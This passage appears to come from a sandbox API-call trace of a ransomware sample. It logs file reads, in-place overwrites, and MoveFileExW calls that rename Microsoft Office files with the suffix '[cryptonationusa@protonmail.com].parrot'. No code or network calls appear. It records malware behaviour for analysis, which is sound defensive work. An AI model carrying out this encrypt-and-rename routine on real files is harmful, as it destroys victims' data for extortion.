lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0169.222] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.222] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x72, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x72, lpOverlapped=0x0) returned 1 [0169.222] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.223] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_f_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0169.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2257b90 | out: hHeap=0x5b0000) returned 1 [0169.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0169.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x225f3c0 | out: hHeap=0x5b0000) returned 1 [0169.227] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0169.227] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0169.228] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.228] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x71, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x71, lpOverlapped=0x0) returned 1 [0169.229] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.229] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_k_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0169.231] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2257b90 | out: hHeap=0x5b0000) returned 1 [0169.231] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0169.231] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x225f3c0 | out: hHeap=0x5b0000) returned 1 [0169.233] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0169.233] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0169.235] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.235] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9380, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x9380, lpOverlapped=0x0) returned 1 [0169.242] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.243] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.idx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0169.246] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22af630 | out: hHeap=0x5b0000) returned 1 [0169.246] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0169.246] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22b0058 | out: hHeap=0x5b0000) returned 1 [0169.248] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0169.248] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0169.249] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.249] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x18780, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x18780, lpOverlapped=0x0) returned 1 [0169.254] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.257] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.rest.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.rest.idx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0169.260] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22af630 | out: hHeap=0x5b0000) returned 1 [0169.260] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0169.260] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22c0098 | out: hHeap=0x5b0000) returned 1 [0169.262] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0169.263] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0169.264] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.264] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbb9, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xbb9, lpOverlapped=0x0) returned 1 [0169.264] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.265] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Groove Starter Template.xsn" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove starter template.xsn"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Groove Starter Template.xsn.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove starter template.xsn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0169.268] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x225f3c0 | out: hHeap=0x5b0000) returned 1 [0169.268] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0169.268] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0169.320] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0169.320] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0169.321] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.322] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0169.355] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.355] WriteFile (in: hFile=0x284, lpBuffer=0x6a3268*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x6a3268*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0169.358] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.358] WriteFile (in: hFile=0x284, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0169.360] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x22c528, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0169.360] CloseHandle (hObject=0x284) returned 1 [0169.361] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove.hxs.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0169.363] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2257b90 | out: hHeap=0x5b0000) returned 1 [0169.363] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0169.363] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0169.370] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0169.372] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.372] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd443cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.372] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.372] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.372] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5373f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd3f79f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc5373f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x614e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BG_ADOBE.GIF", cAlternateFileName="")) returned 1 [0169.373] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0169.373] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0169.375] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.375] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x614e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x614e, lpOverlapped=0x0) returned 1 [0169.379] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.381] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\BG_ADOBE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_adobe.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\BG_ADOBE.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_adobe.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0169.384] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x225f3c0 | out: hHeap=0x5b0000) returned 1 [0169.384] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0169.384] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22b60d8 | out: hHeap=0x5b0000) returned 1 [0169.386] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0169.386] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0169.388] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.388] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x161d, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x161d, lpOverlapped=0x0) returned 1 [0169.389] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.389] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Casual.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_casual.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Casual.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_casual.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0169.392] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x225f3c0 | out: hHeap=0x5b0000) returned 1 [0169.392] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0169.392] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22b0058 | out: hHeap=0x5b0000) returned 1 [0169.394] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0169.394] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0169.396] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.396] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7dd3, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x7dd3, lpOverlapped=0x0) returned 1 [0169.398] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.399] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Country.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_country.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Country.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_country.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0169.402] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x225f3c0 | out: hHeap=0x5b0000) returned 1 [0169.402] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0169.402] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22b60d8 | out: hHeap=0x5b0000) returned 1 [0169.404] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0169.404] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0169.406] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.406] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x132a, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x132a, lpOverlapped=0x0) returned 1 [0169.407] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.409] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Earthy.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_earthy.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Earthy.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_earthy.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0169.412] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x225f3c0 | out: hHeap=0x5b0000) returned 1 [0169.412] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0169.412] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22b0058 | out: hHeap=0x5b0000) returned 1 [0169.414] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0169.414] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0169.415] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.416] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5690, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x5690, lpOverlapped=0x0) returned 1 [0169.418] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.419] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_GreenTea.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_greentea.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_GreenTea.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_greentea.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0169.424] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0169.424] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0169.425] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.425] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6a, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x6a, lpOverlapped=0x0) returned 1 [0169.426] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.426] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Groove.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_groove.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Groove.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_groove.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0169.430] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0169.430] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0169.432] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.432] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x21a6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x21a6, lpOverlapped=0x0) returned 1 [0169.433] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.433] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_LightSpirit.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_lightspirit.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_LightSpirit.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_lightspirit.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0169.438] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0169.438] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0169.439] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.439] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3d57, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x3d57, lpOverlapped=0x0) returned 1 [0169.440] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.440] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_OliveGreen.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_olivegreen.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_OliveGreen.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_olivegreen.gif.[cryptonationusa@protonmail.com].parrot"), 